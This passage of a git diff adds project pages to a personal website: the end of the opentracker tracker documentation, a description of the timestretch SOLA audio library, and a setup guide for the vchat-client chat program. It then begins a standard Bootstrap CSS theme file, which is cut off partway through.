mode section below. +* *opentracker* can run in a cluster. Enable this behaviour by enabling ``-DWANT_SYNC_LIVE``. Note, that you have to configure your cluster before you can use *opentracker* when this option is on. +* Some statistics *opentracker* can provide are sensitive. You can restrict access to these statistics by enabling ``-DWANT_RESTRICT_STATS``. See section statistics for more details. +* Fullscrapes is bittorrent's way to query a tracker for all tracked torrents. Since it's in the standard, it is enabled by default. Disable it by commenting out ``-DWANT_FULLSCRAPE``. +* By default *opentracker* will only allow the connecting endpoint's IP address to be announced. Bittorrent standard allows clients to provide an IP address in its query string. You can make *opentracker* use this IP address by enabling ``-DWANT_IP_FROM_QUERY_STRING``. +* Some experimental or older, deprecated features can be enabled by the ``-DWANT_LOG_NETWORKS``, ``-DWANT_SYNC_SCRAPE`` or ``-DWANT_IP_FROM_PROXY`` switch. +* Currently there is some packages for some linux distributions and OpenBSD around, but some of them patch Makefile and default config to make *opentracker* closed by default. I explicitly don't endorse those packages and will not give support for problems stemming from these missconfigurations. + +---- + +Invocation +========== + +*opentracker* can be run by just typing ``./opentracker``. This will make *opentracker* bind to ``0.0.0.0:6969`` and happily serve all torrents presented to it. If ran as root, *opentracker* will immediately chroot to . (or any directory given with the -d option) and drop all priviliges after binding to whatever tcp or udp ports it is requested. + +When options were few, *opentracker* used to accept all of them from command line. While this still is possible for most options, using them is quite unhandy: an example invocation would look like ``./opentracker -i 23.23.23.7 -p 80 -P 80 -p 6969 -i 23.23.23.8 -p 80 -r http://www.mytorrentsite.com/ -d /usr/local/etc/opentracker -w mytorrents.list -A 127.0.0.1``. + +*opentracker* now uses a config file that you can provide with the ``-f`` switch. + +---- + +Config file +=========== + +*opentracker*'s config file is very straight forward and a very well documented example config can be found in the file `opentracker.conf.sample </gitweb/opentracker/tree/opentracker.conf.sample>`_. + +---- + +Closed mode +=========== + +While personally I like my tracker to be open, I can see that there's people that want to control what torrents to track – or not to track. If you've compiled *opentracker* with one of the accesslist-options (see Build instructions above), you can control which torrents are tracked by providing a file that contains a list of human readable info_hashes. An example whitelist file would look like :: + + 0123456789abcdef0123456789abcdef01234567 + 890123456789abcdef0123456789abcdef012345 + +To make *opentracker* reload it's white/blacklist, send a ``SIGHUP`` unix signal. + +---- + +Statistics +========== + +Given its very network centric approach, talking to *opentracker* via http comes very naturally. Besides the ``/announce`` and ``/scrape`` paths, there is a third path you can access the tracker by: ``/stats``. This request takes parameters, for a quick overview just inquire `/stats?mode=everything``. + +Statistics have grown over time and are currently not very tidied up. Most modes were written to dump legacy-SNMP-style blocks that can easily be monitored by `MRTG <http://oss.oetiker.ch/mrtg/>`_. These modes are: ``peer``, ``conn``, ``scrp``, ``udp4``, ``tcp4``, ``busy``, ``torr``, ``fscr``, ``completed``, ``syncs``. I'm not going to explain these here. + +The ``statedump`` mode dumps non-recreatable states of the tracker so you can later reconstruct an *opentracker* session with the -l option. This is beta and wildly undocumented. + +You can inquire *opentracker*'s version (i.e. CVS versions of all its objects) using the ``version`` mode. + +---- + +Philosophy +========== + +A torrent tracker basically is an http-Server that collects all clients ip addresses into pools sorted by one of the request strings parameters and answers all other clients that specified this exact same parameter a list of all other recent clients. All technologies to implement this are around for more than twenty years. Still most implementations suck performancewise. + +Utilizing the highly scalable server framework from `libowfat <http://www.fefe.de/libowfat/>`_, *opentracker* can easily serve multiple thousands of requests on a standard plastic WLAN-router, limited only by your kernels capabilities ;) + +One important design decision of *opentracker* was to not store any data persistently. This reduces wear&tear on hard disks and eliminates problems with corrupt databases. + +---- + +Author +====== + +*opentracker* was written by `Dirk Engling <mailto:erdgeist@erdgeist.org>`_, who likes to hear from happy customers. + +---- + +Thanks +====== + +A project like this one is impossible without lots of help from friends. It is powered by beer, much energy and love, batches of bug reports and support on the operating system integration side by denis, taklamakan, cryx, supergrobi and – his libowfat always on the bleeding edge – Fefe. Thanks are also due to Hannes for helping me out with designing internal data representation. + +---- + +License +======= + +*opentracker* is considered `beer ware </beerware.html>`_. + diff --git a/stories/projects/timestretch.rst b/stories/projects/timestretch.rst new file mode 100644 index 0000000..15ce5ca --- /dev/null +++ b/stories/projects/timestretch.rst @@ -0,0 +1,63 @@ +.. link: +.. description: is a fast implementation for SOLA, a sample time stretching algorithm. +.. tags: project +.. date: 2015/02/01 19:10:08 +.. title: timestretch +.. subtitle: a fast sample time stretching implementation +.. slug: ../arts/software/timestretch/index + +.. contents:: + :depth: 1 + :class: ezjail-toc + +Overview +======== + +When reducing or increasing the playback speed of an audio recording, it's pitch usually changes, leading to an audible "mickey mouse" effect. The `SOLA algorithm <http://en.wikipedia.org/wiki/Audio_time-scale/pitch_modification#SOLA>`_ provides a way to change the speed without altering the pitch. + +---- + +Details +======= + +The basic idea behind the method lies in the inherent redundancy in the periodic waves of spoken words or music. A vowel consists of overlayed and repeating waves where a human ear would not mind a single one of those repetitions being there or not: + +.. image:: timestretch_1.png + + +If we want to play a sample faster, we can try to find the period length corresponding to the base frequency of the recording in that place and overlap some periods, cross fading the first snippet one into the other. Or put it more visually intuitive: + +.. image:: timestretch_2.png + + +Obviously the recording is shorter than before, meaning it can be played in less time. In order to reduce the play time by a fixed ratio, we can alter the length of the overlapping windows (bright blue). + +To find the perfect offset to overlay our samples at, we simply brute force the sum of all differences of all samples for each offset, using the `mean squared error <http://en.wikipedia.org/wiki/Mean_squared_error>`_ and selecting the offset where the error is minimal – a process commonly called auto correlation. In our implementation this error is further biased towards the center of our window, so that the algorithm is not forced into selecting some sub optimal (and audibly bad) positions after a while, if the inherent period length the overlapping length differs only slightly. + +---- + +Build instructions +================== + +*timestretch* is available from my git repository. Use ``git clone git://erdgeist.org/timestretch`` to check it out. An `timestretch gitweb </gitweb/timestretch/>`_ is available. + +Currently there's only one source file containing the setup routine ``calc_convert_values``, which takes sample rate (used to calculate a proper window length in ms, based on heuristic values) and a tempo, which is a floating point value giving the rate in which to slow down or speed up the recording. It fills global variables you might want to put in a context struct for your project. At exit, the value ``g_input_length`` is the minimum number of samples expected for later processing, ``g_output_length`` is the exact amount of samples produced by each run. + +The actual work is done in the ``process_frame`` function which takes a pointer to the input and output buffer, the pointer to some scratch space (set up in ``calc_convert_values`` in this implementation) and a ``frame_flag`` indicating if this is the first frame (where nothing is there to cross fade with), a normal frame and the last frame, where no samples are kept for later cross fading and the caller can continue to resume to non-timestretched playback again. + +---- + +Author +====== + +*timestretch* was written by `Dirk Engling <mailto:erdgeist@erdgeist.org>`_, who likes to hear from happy customers. + +---- + +License +======= + +*timestretch* is considered `beer ware </beerware.html>`_. + + + diff --git a/stories/projects/vchat-client.rst b/stories/projects/vchat-client.rst new file mode 100644 index 0000000..f540f04 --- /dev/null +++ b/stories/projects/vchat-client.rst @@ -0,0 +1,267 @@ +.. link: +.. description: is a curses based chat client for the arcane vchat protocol. +.. tags: project +.. date: 2014/02/01 19:10:08 +.. title: vchat-client +.. slug: ../arts/software/vchat-client/index + +Newbies Guide to vchat via 'Buntclient' +======================================= + +1. Get the Source, Luke +----------------------- + +Make sure, you got a shell and the tool called cvs. +cd to a directory the source shall reside in. + +Type:: + + $ cvs -d:pserver:anoncvs@cvs.erdgeist.org:/home/cvsroot login + $ cvs -z3 -d:pserver:anoncvs@cvs.erdgeist.org:/home/cvsroot co vchat-client + +(press return at password prompt) + + +2. Do the verpile +----------------- + +Enter the vchat-client/ directory. +Type:: + + $ make + +If that fails due to some readline fuckups, try again with:: + + $ make OLDREADLINE=-DOLDREADLINE + +If you are administrator of your computer and want to install +vchat-client permanently, type:: + + $ make install + +You may also run the binary from its compile location. + + +3. Get protected +---------------- + +Run the script vchat-keygen, located in the vchat-client/ directory. +Follow its instructions. + + +4. Home sweet Home +------------------ + +Create a .vchat/ directory in your homedir. :: + + $ cd + $ mkdir .vchat/ + +Copy your key to the .vchat/ directory:: + + $ cp ~/.vchat.key ~/.vchat/key + +Whenever your signed cert arrives from vchat at vchat.berlin.ccc dot de, +copy it to the .vchat/ directory as well:: + + $ cp ~/.vchat.cert ~/.vchat/cert + +In order to modify the look of your client, you may copy one of +the sample-xxx.fmt files to the .vchat/ directory:: + + $ cd vchat-client/ + $ cp sample-erdgeist.fmt ~/.vchat/formats + +If you want to set the chat server to vchat.berlin.ccc.de now, +type:: + + $ echo host=vchat.berlin.ccc.de >> ~/.vchat/config + +If you want to ignore SSL-warnings due to missing CA-files, type:: + + $ echo ignssl=1 >> ~/.vchat/config + +If you don't want to ignore SSL-warnings, get the root-certificates from: + + http://www.cacert.org/certs/class3.txt + and + http://www.cacert.org/certs/root.txt + +and copy them into your openssl-certs directory. For example:: + + # cp root.txt /etc/ssl/certs/ + # cp class3.txt /etc/ssl/certs/ + # cd /etc/ssl/certs + # ln -s root.txt `openssl x509 -in root.txt -hash | head -n 1`.0 + # ln -s class3.txt `openssl x509 -in class3.txt -hash | head -n 1`.0 + +Now you can type:: + + $ echo ignssl=0 >> ~/.vchat/config + + +If you want a seperate private message window, type:: + + $ echo messages=10 >> ~/.vchat/config + +If you want to have no topic line, like in the oldschool client, +do not choose a private message window an type:: + + $ echo usetopicbar=0 >> ~/.vchat/config + +5. First bunt +------------- + +Check, whether you REALLY got a signed cert. + +[.... +If you did not get a reply from vchat at vchat.berlin.ccc dot de within +3 days, this might either be due to you not being known to the +certificate masters, or simply because of the verpeil. You may, +after 3 days, contact me at erdgeist at erdgeist dot org. If I don't +reply, too, reconsider your lifestyle. +....] + +Start the client:: + + $ vchat-client + +or :: + + $ vchat-client/vchat-client + +Enter the passphrase to your private key, if you added one. + +Look around. If the Umlautz are broken, try to trouble shoot here: +https://freepad.erdgeist.org/p/fT9OoDoLMx + +Try to feel comfortable with the new look of your vchat- +environment. Close your mouth. Try playing around with the +following commands: + +If you did not enable the seperate private message window, +ignore this part: + +[ STARTIGNORE + +Press Ctrl-G and Ctrl-T several times. +Press Ctrl-X, then send yourself a private message, watch, what +happens +Press Ctrl-C ONCE!!! +Press Ctrl-R and watch the asteriks at the very right of your +screen, this one indicates, which window to scroll back + +ENDIGNORE] + +Press Ctrl-B Ctrl-F, if you collected some text in your +message window. This should scroll back and forth. +A red console bar should indicate, that you scrolled up. + +Press Ctrl-L to redraw and reset scroll indices. + +Play around with the completion: + +Hitting <TAB> at start of line will complete to :: + + .m <lastpersonyouexchangedprivatemessageswith> + +if you hit <TAB> more often, you will cycle through this list, +sorted by the last time you exchanges PMs with. + +Hitting <TAB> when you already typed some letters but no space +yet will expand to all nicks in your current channel. You may +cycle through this list, too. + +Hitting tab anywhere else expands to all nicks in all channels. + +Most other readline hotkeys (Ctrl-U, Ctrl-K, Ctrl-W, Ctrl-A...) +will work as expected. + + +6. Commandoe +------------ + +In addition to the server commands (.h, .m, .a, .s ...) the +client brings its own set of commands, which will be triggered +IRC-style by /COMMAND. These may be abbrevated to the lowest +unambigous substring. + +Try /HELP for a first glimpse. +The status window may be forced off by hitting Ctrl-X. + +/HELP KEYS should give you a short summary of available hot +key commands. + +Some client commands are wrappers around server commands:: + + /ME == .a + /MSG == .m + /M == .m + /QUIT == .x + +The other commands are used to enable client side filtering +and highlighting. + +Try:: + + /HELP FILTERS + /HELP FLT + /HELP FILTERS + +Highlight yourself:: + + /FLT 6 <nickname> + +if you don't see anything getting highlighted, you probably +have a mac. If you got this far despite of that problem, you +will surely find a way to enable colors in your terminal. + +Remove the filter rule:: + + /rmflt 1 + +Zoom in all channel leaves:: + + /flt + left channel + +List your filter rules:: + + /lsflt + +Remove all filters:: + + /clflt + +Ignore all server leave and join messages:: + + /flt - ((left|joined|entered) (the )?(channel|chat)) + +Reenable those lines:: + + /rmflt ((left|joined|entered) (the )?(channel|chat)) + +Note: zoom overrides ignore. + +Be careful about setting your filters, as these are treated +as regular expressions, which easily may lead to time +consuming evaluations. Avoid brackets. + + +7. Fiiiiiiiiieschas +------------------- + +As I am still young *cough cough* I am _STILL_ willing to +implement features of all stupidity grades. Contact me +with /m erdgeist <feature request> at any time. + + +8. You help +----------- + +Since you will probably start fiddeling around with your +.vchat/formats file, I'd appreciate getting YOUR format, +too, as this may be helpful for others to make their own. +Just send them to erdgeist at erdgeist dot org. Bug reports, +feature request that are to long for the chat and diffs +implementing some features are welcome at this address, +too. diff --git a/themes/erdgeist/assets/css/bootstrap.css b/themes/erdgeist/assets/css/bootstrap.css new file mode 100644 index 0000000..eee9c7a --- /dev/null +++ b/themes/erdgeist/assets/css/bootstrap.css @@ -0,0 +1,6716 @@ +/*! + * bootswatch v3.3.2 + * Homepage: http://bootswatch.com + * Copyright 2012-2015 Thomas Park + * Licensed under MIT + * Based on Bootstrap +*/ +/*! normalize.css v3.0.2 | MIT License | git.io/normalize */ +html { + font-family: sans-serif; + -ms-text-size-adjust: 100%; + -webkit-text-size-adjust: 100%; +} +body { + margin: 0; +} +article, +aside, +details, +figcaption, +figure, +footer, +header, +hgroup, +main, +menu, +nav, +section, +summary { + display: block; +} +audio, +canvas, +progress, +video { + display: inline-block; + vertical-align: baseline; +} +audio:not([controls]) { + display: none; + height: 0; +} +[hidden], +template { + display: none; +} +a { + background-color: transparent; +} +a:active, +a:hover { + outline: 0; +} +abbr[title] { + border-bottom: 1px dotted; +} +b, +strong { + font-weight: bold; +} +dfn { + font-style: italic; +} +h1 { + font-size: 2em; + margin: 0.67em 0; +} +mark { + background: #ff0; + color: #000; +} +small { + font-size: 80%; +} +sub, +sup { + font-size: 75%; + line-height: 0; + position: relative; + vertical-align: baseline; +} +sup { + top: -0.5em; +} +sub { + bottom: -0.25em; +} +img { + border: 0; +} +svg:not(:root) { + overflow: hidden; +} +figure { + margin: 1em 40px; +} +hr { + -moz-box-sizing: content-box; + -webkit-box-sizing: content-box; + box-sizing: content-box; + height: 0; +} +pre { + overflow: auto; +} +code, +kbd, +pre, +samp { + font-family: monospace, monospace; + font-size: 1em; +} +button, +input, +optgroup, +select, +textarea { + color: inherit; + font: inherit; + margin: 0; +} +button { + overflow: visible; +} +button, +select { + text-transform: none; +} +button, +html input[type="button"], +input[type="reset"], +input[type="submit"] { + -webkit-appearance: button; + cursor: pointer; +} +button[disabled], +html input[disabled] { + cursor: default; +} +button::-moz-focus-inner, +input::-moz-focus-inner { + border: 0; + padding: 0; +} +input { + line-height: normal; +} +input[type="checkbox"], +input[type="radio"] { + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; + padding: 0; +} +input[type="number"]::-webkit-inner-spin-button, +input[type="number"]::-webkit-outer-spin-button { + height: auto; +} +input[type="search"] { + -webkit-appearance: textfield; + -moz-box-sizing: content-box; + -webkit-box-sizing: content-box; + box-sizing: content-box; +} +input[type="search"]::-webkit-search-cancel-button, +input[type="search"]::-webkit-search-decoration { + -webkit-appearance: none; +} +fieldset { + border: 1px solid #c0c0c0; + margin: 0 2px; + padding: 0.35em 0.625em 0.75em; +} +legend { + border: 0; + padding: 0; +} +textarea { + overflow: auto; +} +optgroup { + font-weight: bold; +} +table { + border-collapse: collapse; + border-spacing: 0; +} +td, +th { + padding: 0; +} +/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */ +@media print { + *, + *:before, + *:after { + background: transparent !important; + color: #000 !important; + -webkit-box-shadow: none !important; + box-shadow: none !important; + text-shadow: none !important; + } + a, + a:visited { + text-decoration: underline; + } + a[href]:after { + content: " (" attr(href) ")"; + } + abbr[title]:after { + content: " (" attr(title) ")"; + } + a[href^="#"]:after, + a[href^="javascript:"]:after { + content: ""; + } + pre, + blockquote { + border: 1px solid #999; + page-break-inside: avoid; + } + thead { + display: table-header-group; + } + tr, + img { + page-break-inside: avoid; + } + img { + max-width: 100% !important; + } + p, + h2, + h3 { + orphans: 3; + widows: 3; + } + h2, + h3 { + page-break-after: avoid; + } + select { + background: #fff !important; + } + .navbar { + display: none; + } + .btn > .caret, + .dropup > .btn > .caret { + border-top-color: #000 !important; + } + .label { + border: 1px solid #000; + } + .table { + border-collapse: collapse !important; + } + .table td, + .table th { + background-color: #fff !important; + } + .table-bordered th, + .table-bordered td { + border: 1px solid #ddd !important; + } +} +@font-face { + font-family: 'Glyphicons Halflings'; + src: url('../fonts/glyphicons-halflings-regular.eot'); + src: url('../fonts/glyphicons-halflings-regular.eot?#iefix') format('embedded-opentype'), url('../fonts/glyphicons-halflings-regular.woff2') format('woff2'), url('../fonts/glyphicons-halflings-regular.woff') format('woff'), url('../fonts/glyphicons-halflings-regular.ttf') format('truetype'), url('../fonts/glyphicons-halflings-regular.svg#glyphicons_halflingsregular') format('svg'); +} +.glyphicon { + position: relative; + top: 1px; + display: inline-block; + font-family: 'Glyphicons Halflings'; + font-style: normal; + font-weight: normal; + line-height: 1; + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; +} +.glyphicon-asterisk:before { + content: "\2a"; +} +.glyphicon-plus:before { + content: "\2b"; +} +.glyphicon-euro:before, +.glyphicon-eur:before { + content: "\20ac"; +} +.glyphicon-minus:before { + content: "\2212"; +} +.glyphicon-cloud:before { + content: "\2601"; +} +.glyphicon-envelope:before { + content: "\2709"; +} +.glyphicon-pencil:before { + content: "\270f"; +} +.glyphicon-glass:before { + content: "\e001"; +} +.glyphicon-music:before { + content: "\e002"; +} +.glyphicon-search:before { + content: "\e003"; +} +.glyphicon-heart:before { + content: "\e005"; +} +.glyphicon-star:before { + content: "\e006"; +} +.glyphicon-star-empty:before { + content: "\e007"; +} +.glyphicon-user:before { + content: "\e008"; +} +.glyphicon-film:before { + content: "\e009"; +} +.glyphicon-th-large:before { + content: "\e010"; +} +.glyphicon-th:before { + content: "\e011"; +} +.glyphicon-th-list:before { + content: "\e012"; +} +.glyphicon-ok:before { + content: "\e013"; +} +.glyphicon-remove:before { + content: "\e014"; +} +.glyphicon-zoom-in:before { + content: "\e015"; +} +.glyphicon-zoom-out:before { + content: "\e016"; +} +.glyphicon-off:before { + content: "\e017"; +} +.glyphicon-signal:before { + content: "\e018"; +} +.glyphicon-cog:before { + content: "\e019"; +} +.glyphicon-trash:before { + content: "\e020"; +} +.glyphicon-home:before { + content: "\e021"; +} +.glyphicon-file:before { + content: "\e022"; +} +.glyphicon-time:before { + content: "\e023"; +} +.glyphicon-road:before { + content: "\e024"; +} +.glyphicon-download-alt:before { + content: "\e025"; +} +.glyphicon-download:before { + content: "\e026"; +} +.glyphicon-upload:before { + content: "\e027"; +} +.glyphicon-inbox:before { + content: "\e028"; +} +.glyphicon-play-circle:before { + content: "\e029"; +} +.glyphicon-repeat:before { + content: "\e030"; +} +.glyphicon-refresh:before { + content: "\e031"; +} +.glyphicon-list-alt:before { + content: "\e032"; +} +.glyphicon-lock:before { + content: "\e033"; +} +.glyphicon-flag:before { + content: "\e034"; +} +.glyphicon-headphones:before { + content: "\e035"; +} +.glyphicon-volume-off:before { + content: "\e036"; +} +.glyphicon-volume-down:before { + content: "\e037"; +} +.glyphicon-volume-up:before { + content: "\e038"; +} +.glyphicon-qrcode:before { + content: "\e039"; +} +.glyphicon-barcode:before { + content: "\e040"; +} +.glyphicon-tag:before { + content: "\e041"; +} +.glyphicon-tags:before { + content: "\e042"; +} +.glyphicon-book:before { + content: "\e043"; +} +.glyphicon-bookmark:before { + content: "\e044"; +} +.glyphicon-print:before { + content: "\e045"; +} +.glyphicon-camera:before { + content: "\e046"; +} +.glyphicon-font:before { + content: "\e047"; +} +.glyphicon-bold:before { + content: "\e048"; +} +.glyphicon-italic:before { + content: "\e049"; +} +.glyphicon-text-height:before { + content: "\e050"; +} +.glyphicon-text-width:before { + content: "\e051"; +} +.glyphicon-align-left:before { + content: "\e052"; +} +.glyphicon-align-center:before { + content: "\e053"; +} +.glyphicon-align-right:before { + content: "\e054"; +} +.glyphicon-align-justify:before { + content: "\e055"; +} +.glyphicon-list:before { + content: "\e056"; +} +.glyphicon-indent-left:before { + content: "\e057"; +} +.glyphicon-indent-right:before { + content: "\e058"; +} +.glyphicon-facetime-video:before { + content: "\e059"; +} +.glyphicon-picture:before { + content: "\e060"; +} +.glyphicon-map-marker:before { + content: "\e062"; +} +.glyphicon-adjust:before { + content: "\e063"; +} +.glyphicon-tint:before { + content: "\e064"; +} +.glyphicon-edit:before { + content: "\e065"; +} +.glyphicon-share:before { + content: "\e066"; +} +.glyphicon-check:before { + content: "\e067"; +} +.glyphicon-move:before { + content: "\e068"; +} +.glyphicon-step-backward:before { + content: "\e069"; +} +.glyphicon-fast-backward:before { + content: "\e070"; +} +.glyphicon-backward:before { + content: "\e071"; +} +.glyphicon-play:before { + content: "\e072"; +} +.glyphicon-pause:before { + content: "\e073"; +} +.glyphicon-stop:before { + content: "\e074"; +} +.glyphicon-forward:before { + content: "\e075"; +} +.glyphicon-fast-forward:before { + content: "\e076"; +} +.glyphicon-step-forward:before { + content: "\e077"; +} +.glyphicon-eject:before { + content: "\e078"; +} +.glyphicon-chevron-left:before { + content: "\e079"; +} +.glyphicon-chevron-right:before { + content: "\e080"; +} +.glyphicon-plus-sign:before { + content: "\e081"; +} +.glyphicon-minus-sign:before { + content: "\e082"; +} +.glyphicon-remove-sign:before { + content: "\e083"; +} +.glyphicon-ok-sign:before { + content: "\e084"; +} +.glyphicon-question-sign:before { + content: "\e085"; +} +.glyphicon-info-sign:before { + content: "\e086"; +} +.glyphicon-screenshot:before { + content: "\e087"; +} +.glyphicon-remove-circle:before { + content: "\e088"; +} +.glyphicon-ok-circle:before { + content: "\e089"; +} +.glyphicon-ban-circle:before { + content: "\e090"; +} +.glyphicon-arrow-left:before { + content: "\e091"; +} +.glyphicon-arrow-right:before { + content: "\e092"; +} +.glyphicon-arrow-up:before { + content: "\e093"; +} +.glyphicon-arrow-down:before { + content: "\e094"; +} +.glyphicon-share-alt:before { + content: "\e095"; +} +.glyphicon-resize-full:before { + content: "\e096"; +} +.glyphicon-resize-small:before { + content: "\e097"; +} +.glyphicon-exclamation-sign:before { + content: "\e101"; +} +.glyphicon-gift:before { + content: "\e102"; +} +.glyphicon-leaf:before { + content: "\e103"; +} +.glyphicon-fire:before { + content: "\e104"; +} +.glyphicon-eye-open:before { + content: "\e105"; +} +.glyphicon-eye-close:before { + content: "\e106"; +} +.glyphicon-warning-sign:before { + content: "\e107"; +} +.glyphicon-plane:before { + content: "\e108"; +} +.glyphicon-calendar:before { + content: "\e109"; +} +.glyphicon-random:before { + content: "\e110"; +} +.glyphicon-comment:before { + content: "\e111"; +} +.glyphicon-magnet:before { + content: "\e112"; +} +.glyphicon-chevron-up:before { + content: "\e113"; +} +.glyphicon-chevron-down:before { + content: "\e114"; +} +.glyphicon-retweet:before { + content: "\e115"; +} +.glyphicon-shopping-cart:before { + content: "\e116"; +} +.glyphicon-folder-close:before { + content: "\e117"; +} +.glyphicon-folder-open:before { + content: "\e118"; +} +.glyphicon-resize-vertical:before { + content: "\e119"; +} +.glyphicon-resize-horizontal:before { + content: "\e120"; +} +.glyphicon-hdd:before { + content: "\e121"; +} +.glyphicon-bullhorn:before { + content: "\e122"; +} +.glyphicon-bell:before { + content: "\e123"; +} +.glyphicon-certificate:before { + content: "\e124"; +} +.glyphicon-thumbs-up:before { + content: "\e125"; +} +.glyphicon-thumbs-down:before { + content: "\e126"; +} +.glyphicon-hand-right:before { + content: "\e127"; +} +.glyphicon-hand-left:before { + content: "\e128"; +} +.glyphicon-hand-up:before { + content: "\e129"; +} +.glyphicon-hand-down:before { + content: "\e130"; +} +.glyphicon-circle-arrow-right:before { + content: "\e131"; +} +.glyphicon-circle-arrow-left:before { + content: "\e132"; +} +.glyphicon-circle-arrow-up:before { + content: "\e133"; +} +.glyphicon-circle-arrow-down:before { + content: "\e134"; +} +.glyphicon-globe:before { + content: "\e135"; +} +.glyphicon-wrench:before { + content: "\e136"; +} +.glyphicon-tasks:before { + content: "\e137"; +} +.glyphicon-filter:before { + content: "\e138"; +} +.glyphicon-briefcase:before { + content: "\e139"; +} +.glyphicon-fullscreen:before { + content: "\e140"; +} +.glyphicon-dashboard:before { + content: "\e141"; +} +.glyphicon-paperclip:before { + content: "\e142"; +} +.glyphicon-heart-empty:before { + content: "\e143"; +} +.glyphicon-link:before { + content: "\e144"; +} +.glyphicon-phone:before { + content: "\e145"; +} +.glyphicon-pushpin:before { + content: "\e146"; +} +.glyphicon-usd:before { + content: "\e148"; +} +.glyphicon-gbp:before { + content: "\e149"; +} +.glyphicon-sort:before { + content: "\e150"; +} +.glyphicon-sort-by-alphabet:before { + content: "\e151"; +} +.glyphicon-sort-by-alphabet-alt:before { + content: "\e152"; +} +.glyphicon-sort-by-order:before { + content: "\e153"; +} +.glyphicon-sort-by-order-alt:before { + content: "\e154"; +} +.glyphicon-sort-by-attributes:before { + content: "\e155"; +} +.glyphicon-sort-by-attributes-alt:before { + content: "\e156"; +} +.glyphicon-unchecked:before { + content: "\e157"; +} +.glyphicon-expand:before { + content: "\e158"; +} +.glyphicon-collapse-down:before { + content: "\e159"; +} +.glyphicon-collapse-up:before { + content: "\e160"; +} +.glyphicon-log-in:before { + content: "\e161"; +} +.glyphicon-flash:before { + content: "\e162"; +} +.glyphicon-log-out:before { + content: "\e163"; +} +.glyphicon-new-window:before { + content: "\e164"; +} +.glyphicon-record:before { + content: "\e165"; +} +.glyphicon-save:before { + content: "\e166"; +} +.glyphicon-open:before { + content: "\e167"; +} +.glyphicon-saved:before { + content: "\e168"; +} +.glyphicon-import:before { + content: "\e169"; +} +.glyphicon-export:before { + content: "\e170"; +} +.glyphicon-send:before { + content: "\e171"; +} +.glyphicon-floppy-disk:before { + content: "\e172"; +} +.glyphicon-floppy-saved:before { + content: "\e173"; +} +.glyphicon-floppy-remove:before { + content: "\e174"; +} +.glyphicon-floppy-save:before { + content: "\e175"; +} +.glyphicon-floppy-open:before { + content: "\e176"; +} +.glyphicon-credit-card:before { + content: "\e177"; +} +.glyphicon-transfer:before { + content: "\e178"; +} +.glyphicon-cutlery:before { + content: "\e179"; +} +.glyphicon-header:before { + content: "\e180"; +} +.glyphicon-compressed:before { + content: "\e181"; +} +.glyphicon-earphone:before { + content: "\e182"; +} +.glyphicon-phone-alt:before { + content: "\e183"; +} +.glyphicon-tower:before { + content: "\e184"; +} +.glyphicon-stats:before { + content: "\e185"; +} +.glyphicon-sd-video:before { + content: "\e186"; +} +.glyphicon-hd-video:before { + content: "\e187"; +} +.glyphicon-subtitles:before { + content: "\e188"; +} +.glyphicon-sound-stereo:before { + content: "\e189"; +} +.glyphicon-sound-dolby:before { + content: "\e190"; +} +.glyphicon-sound-5-1:before { + content: "\e191"; +} +.glyphicon-sound-6-1:before { + content: "\e192"; +} +.glyphicon-sound-7-1:before { + content: "\e193"; +} +.glyphicon-copyright-mark:before { + content: "\e194"; +} +.glyphicon-registration-mark:before { + content: "\e195"; +} +.glyphicon-cloud-download:before { + content: "\e197"; +} +.glyphicon-cloud-upload:before { + content: "\e198"; +} +.glyphicon-tree-conifer:before { + content: "\e199"; +} +.glyphicon-tree-deciduous:before { + content: "\e200"; +} +.glyphicon-cd:before { + content: "\e201"; +} +.glyphicon-save-file:before { + content: "\e202"; +} +.glyphicon-open-file:before { + content: "\e203"; +} +.glyphicon-level-up:before { + content: "\e204"; +} +.glyphicon-copy:before { + content: "\e205"; +} +.glyphicon-paste:before { + content: "\e206"; +} +.glyphicon-alert:before { + content: "\e209"; +} +.glyphicon-equalizer:before { + content: "\e210"; +} +.glyphicon-king:before { + content: "\e211"; +} +.glyphicon-queen:before { + content: "\e212"; +} +.glyphicon-pawn:before { + content: "\e213"; +} +.glyphicon-bishop:before { + content: "\e214"; +} +.glyphicon-knight:before { + content: "\e215"; +} +.glyphicon-baby-formula:before { + content: "\e216"; +} +.glyphicon-tent:before { + content: "\26fa"; +} +.glyphicon-blackboard:before { + content: "\e218"; +} +.glyphicon-bed:before { + content: "\e219"; +} +.glyphicon-apple:before { + content: "\f8ff"; +} +.glyphicon-erase:before { + content: "\e221"; +} +.glyphicon-hourglass:before { + content: "\231b"; +} +.glyphicon-lamp:before { + content: "\e223"; +} +.glyphicon-duplicate:before { + content: "\e224"; +} +.glyphicon-piggy-bank:before { + content: "\e225"; +} +.glyphicon-scissors:before { + content: "\e226"; +} +.glyphicon-bitcoin:before { + content: "\e227"; +} +.glyphicon-yen:before { + content: "\00a5"; +} +.glyphicon-ruble:before { + content: "\20bd"; +} +.glyphicon-scale:before { + content: "\e230"; +} +.glyphicon-ice-lolly:before { + content: "\e231"; +} +.glyphicon-ice-lolly-tasted:before { + content: "\e232"; +} +.glyphicon-education:before { + content: "\e233"; +} +.glyphicon-option-horizontal:before { + content: "\e234"; +} +.glyphicon-option-vertical:before { + content: "\e235"; +} +.glyphicon-menu-hamburger:before { + content: "\e236"; +} +.glyphicon-modal-window:before { + content: "\e237"; +} +.glyphicon-oil:before { + content: "\e238"; +} +.glyphicon-grain:before { + content: "\e239"; +} +.glyphicon-sunglasses:before { + content: "\e240"; +} +.glyphicon-text-size:before { + content: "\e241"; +} +.glyphicon-text-color:before { + content: "\e242"; +} +.glyphicon-text-background:before { + content: "\e243"; +} +.glyphicon-object-align-top:before { + content: "\e244"; +} +.glyphicon-object-align-bottom:before { + content: "\e245"; +} +.glyphicon-object-align-horizontal:before { + content: "\e246"; +} +.glyphicon-object-align-left:before { + content: "\e247"; +} +.glyphicon-object-align-vertical:before { + content: "\e248"; +} +.glyphicon-object-align-right:before { + content: "\e249"; +} +.glyphicon-triangle-right:before { + content: "\e250"; +} +.glyphicon-triangle-left:before { + content: "\e251"; +} +.glyphicon-triangle-bottom:before { + content: "\e252"; +} +.glyphicon-triangle-top:before { + content: "\e253"; +} +.glyphicon-console:before { + content: "\e254"; +} +.glyphicon-superscript:before { + content: "\e255"; +} +.glyphicon-subscript:before { + content: "\e256"; +} +.glyphicon-menu-left:before { + content: "\e257"; +} +.glyphicon-menu-right:before { + content: "\e258"; +} +.glyphicon-menu-down:before { + content: 